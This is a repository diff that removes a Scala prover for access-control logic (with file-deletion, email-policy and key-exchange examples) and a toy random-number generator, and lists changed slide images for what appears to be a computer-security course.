--- a/progs/scala/prove.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,179 +0,0 @@
-import scala.language.implicitConversions
-import scala.language.reflectiveCalls
-import scala.util._
-
-abstract class Term
-case class Var(s: String) extends Term
-case class Const(s: String) extends Term
-case class Fun(s: String, ts: List[Term]) extends Term
-
-abstract class Form
-case object True extends Form
-case object False extends Form
-case class Pred(s: String, ts: List[Term]) extends Form
-case class Imp(f1: Form, f2: Form) extends Form
-case class Says(p: String, f: Form) extends Form
-case class And(f1: Form, f2: Form) extends Form
-case class Or(f1: Form, f2: Form) extends Form
-case class Sends(p: String, q: String, f: Form) extends Form
-case class Enc(f1: Form, f2: Form) extends Form
-
-case class Judgement(gamma: Set[Form], f: Form) {
- def lhs = gamma
- def rhs = f
-}
-
-// some syntactic sugar
-implicit def FormOps(f1: Form) = new {
- def -> (f2: Form) = Imp(f1, f2)
-}
-implicit def StringOps(p: String) = new {
- def says (f: Form) = Says(p, f)
-}
-implicit def SetFormOps(gamma: Set[Form]) = new {
- def |- (f: Form) : Judgement = Judgement(gamma, f)
-}
-
-val Admin = "Admin"
-val Bob = "Bob"
-val Del = Pred("del_file", Nil)
-
-val Gamma: Set[Form] =
- Set( (Admin says Del) -> Del,
- Admin says ((Bob says Del) -> Del),
- Bob says Del )
-
-val goal = Gamma |- Del // request: provable or not?
-
-def partitions[A](s: Set[A]): Set[(A, Set[A])] =
- s.map (e => (e, s - e))
-
-
-def prove(j: Judgement, sc: () => Unit) : Unit = {
- if (j.lhs.contains(j.rhs)) sc () // Axiom rule
- else {
- prove1(j, sc);
- for ((f, lhs_rest) <- partitions(j.lhs)) prove2(f, lhs_rest, j.rhs, sc)
- }
-}
-
-def prove1(j: Judgement, sc: () => Unit) : Unit =
- j.rhs match {
- case True => sc ()
- case False => ()
- case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc)
- case Says(p, Enc(f1, f2)) =>
- prove(j.lhs |- Says(p, f1),
- () => prove(j.lhs |- Says(p, f2), sc))
- case Says(p, f1) => prove(j.lhs |- f1, sc)
- case Or(f1, f2) =>
- { prove(j.lhs |- f1, sc);
- prove(j.lhs |- f2, sc) }
- case And(f1, f2) =>
- prove(j.lhs |- f1,
- () => prove(j.lhs |- f2, sc))
- case Sends(p, q, f) => prove(j.lhs + (p says f) |- (q says f), sc)
- case _ => ()
- }
-
-def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit =
- f match {
- case True => prove(lhs_rest |- rhs, sc)
- case False => sc ()
- case And(f1, f2) =>
- prove(lhs_rest + f1 + f2 |- rhs, sc)
- case Imp(f1, f2) =>
- prove(lhs_rest |- f1,
- () => prove(lhs_rest + f2 |- rhs, sc))
- case Sends(p, q, f) =>
- prove(lhs_rest |- (p says f),
- () => prove(lhs_rest + (q says f) |- rhs, sc))
- case Enc(f1, f2) =>
- prove(lhs_rest |- f1,
- () => prove(lhs_rest + f2 |- rhs, sc))
- case Or(f1, f2) =>
- prove(lhs_rest + f1 |- rhs,
- () => prove(lhs_rest + f2 |- rhs, sc))
- case Says(p, Enc(f1, f2)) =>
- prove(lhs_rest |- Says(p, f2),
- () => prove(lhs_rest + Says(p, f1) |- rhs, sc))
- case Says(p, Imp(f1, f2)) =>
- prove(lhs_rest |- Says(p, f1),
- () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
-
- case _ => ()
- }
-
-// function that calls prove and returns immediately once a proof is found
-def run (j : Judgement) : Unit = {
- def sc () = { println ("Yes!"); throw new Exception }
- Try(prove(j, sc)) getOrElse ()
-}
-
-run (goal)
-
-run (Set[Form]() |- False -> Del)
-run (Set[Form]() |- True -> Del)
-run (Set[Form]() |- Del -> True)
-run (Set[Form]() |- Del -> Del)
-run (Set[Form]() |- Del -> Or(False, Del))
-
-
-val Gamma1 : Set[Form] =
- Set( Admin says ((Bob says Del) -> Del),
- Bob says Del )
-
-val goal1 = Gamma1 |- Del // not provable
-run (goal1)
-
-
-val f1 = "P" says Pred("F1", Nil)
-val f2 = "Q" says Pred("F2", Nil)
-run (Set[Form](And(f1, f2)) |- And(f2, f1))
-
-
-val Chr = "Christian"
-val HoD = "Peter"
-val Email = Pred("may_obtain_email", List(Const(Chr)))
-val AtLib = Pred("is_at_library", List(Const(Chr)))
-val Chr_Staff = Pred("is_staff", List(Const(Chr)))
-
-val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
-val Policy_Lib = And(Chr_Staff, AtLib) -> Email
-val HoD_says = HoD says Chr_Staff
-
-run (Set[Form](AtLib, Policy_HoD, Policy_Lib) |- Email)
-
-println("Server Example")
-
-def Connect(p: String, q: String) : Form =
- Pred("Connect", List(Var(p), Var(q)))
-
-
-val A = "A"
-val B = "B"
-val S = "S"
-val CAB = Connect(A, B)
-val Msg = Pred("Msg", Nil)
-val KAS = Pred("Kas", Nil)
-val KBS = Pred("Kbs", Nil)
-val KAB = Pred("Kab", Nil)
-
-val Gamma_big : Set[Form] =
- Set( A says CAB,
- Sends(A, S, CAB),
- S says (CAB -> Enc(KAB, KAS)),
- S says (CAB -> Enc(Enc(KAB, KBS), KAS)),
- Sends(S, A, Enc(KAB, KAS)),
- Sends(S, A, Enc(Enc(KAB, KBS), KAS)),
- Sends(A, B, Enc(KAB, KBS)),
- Sends(A, B, Enc(Msg, KAB)),
- A says KAS,
- B says KBS,
- S says KAS,
- A says (Enc(Msg, KAB))
- )
-
-run (Gamma_big |- (B says Msg))
-
-
--- a/progs/scala/random.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,18 +0,0 @@
-
-val m = 16
-val a = 5
-val c = 1
-val X0 = 10
-
-def ran(n: Int, X: Int) : Set[Int] = n match {
- case 0 => Set()
- case n => {
- val X_new = (a * X + c) % m
- Set(X) ++ ran(n - 1, X_new)
- }
-}
-
-for (i <- 0 to 16) {
- val l = ran(16, i)
- println(l.size.toString + " " + l.toString)
-}
Binary file slides/pics/IEEElog.jpg has changed
Binary file slides/pics/MafiaInMiddle.jpg has changed
Binary file slides/pics/MigInMiddle.jpg has changed
Binary file slides/pics/Voting1.png has changed
Binary file slides/pics/Voting2.png has changed
Binary file slides/pics/Voting3.png has changed
Binary file slides/pics/Voting4.png has changed
Binary file slides/pics/accesscontrolbook.jpg has changed
Binary file slides/pics/anderson.jpg has changed
Binary file slides/pics/andersonbook1.jpg has changed
Binary file slides/pics/appel.jpg has changed
Binary file slides/pics/appelseals.jpg has changed
Binary file slides/pics/bag.png has changed
Binary file slides/pics/ballotbox.jpg has changed
Binary file slides/pics/bank.png has changed
Binary file slides/pics/barrier.jpg has changed
Binary file slides/pics/britkeys1.jpg has changed
Binary file slides/pics/britkeys2.jpg has changed
Binary file slides/pics/cart.gif has changed
Binary file slides/pics/chip-attack.png has changed
Binary file slides/pics/chipnpinflaw.png has changed
Binary file slides/pics/creditcard1.jpg has changed
Binary file slides/pics/creditcard2.jpg has changed
Binary file slides/pics/cross.png has changed
Binary file slides/pics/cryptographic-small.png has changed
Binary file slides/pics/customers.png has changed
Binary file slides/pics/dogs.jpg has changed
Binary file slides/pics/dre1.jpg has changed
Binary file slides/pics/dre2.jpg has changed
Binary file slides/pics/factory.png has changed
Binary file slides/pics/firewall.png has changed
Binary file slides/pics/gattaca.jpg has changed
Binary file slides/pics/gchq.jpg has changed
Binary file slides/pics/gear.gif has changed
Binary file slides/pics/gman.png has changed
Binary file slides/pics/india1.jpg has changed
Binary file slides/pics/india2.jpg has changed
Binary file slides/pics/indiaellection.jpg has changed
Binary file slides/pics/laptop.png has changed
Binary file slides/pics/lavabit-email.jpg has changed
Binary file slides/pics/leavermachine.jpg has changed
Binary file slides/pics/netcloud.png has changed
Binary file slides/pics/nsa.png has changed
Binary file slides/pics/nuclear1.jpg has changed
Binary file slides/pics/nuclear2.jpg has changed
Binary file slides/pics/opticalscan.jpg has changed
Binary file slides/pics/pinsentry.jpg has changed
Binary file slides/pics/pointsplane.jpg has changed
Binary file slides/pics/punchcard1.jpg has changed
Binary file slides/pics/punchcard2.jpg has changed
Binary file slides/pics/questionmark.png has changed
Binary file slides/pics/radeon.jpg has changed
Binary file slides/pics/rbssecure.gif has changed
Binary file slides/pics/rbssecure.jpg has changed
Binary file slides/pics/river-stones.jpg has changed
Binary file slides/pics/rman.png has changed
Binary file slides/pics/schneier.png has changed
Binary file slides/pics/schneierbook1.jpg has changed
Binary file slides/pics/schneierbook2.jpg has changed
Binary file slides/pics/schneierbook3.jpg has changed
Binary file slides/pics/seal.gif has changed
Binary file slides/pics/seal.jpg has changed
Binary file slides/pics/servers.png has changed
Binary file slides/pics/smartwater.jpg has changed
Binary file slides/pics/snowden.jpg has changed
Binary file slides/pics/stack1.png has changed
Binary file slides/pics/stack2.png has changed
Binary file slides/pics/stack3.png has changed
Binary file slides/pics/store.png has changed
Binary file slides/pics/tan1.jpg has changed
Binary file slides/pics/tan2.jpg has changed
Binary file slides/pics/tetris.jpg has changed
Binary file slides/pics/thief.png has changed
Binary file slides/pics/trainwreck.jpg has changed
Binary file slides/pics/tweet.jpg has changed
Binary file slides/pics/userm.png has changed
Binary file slides/pics/userw.jpg has changed
Binary file slides/pics/userw.png has changed
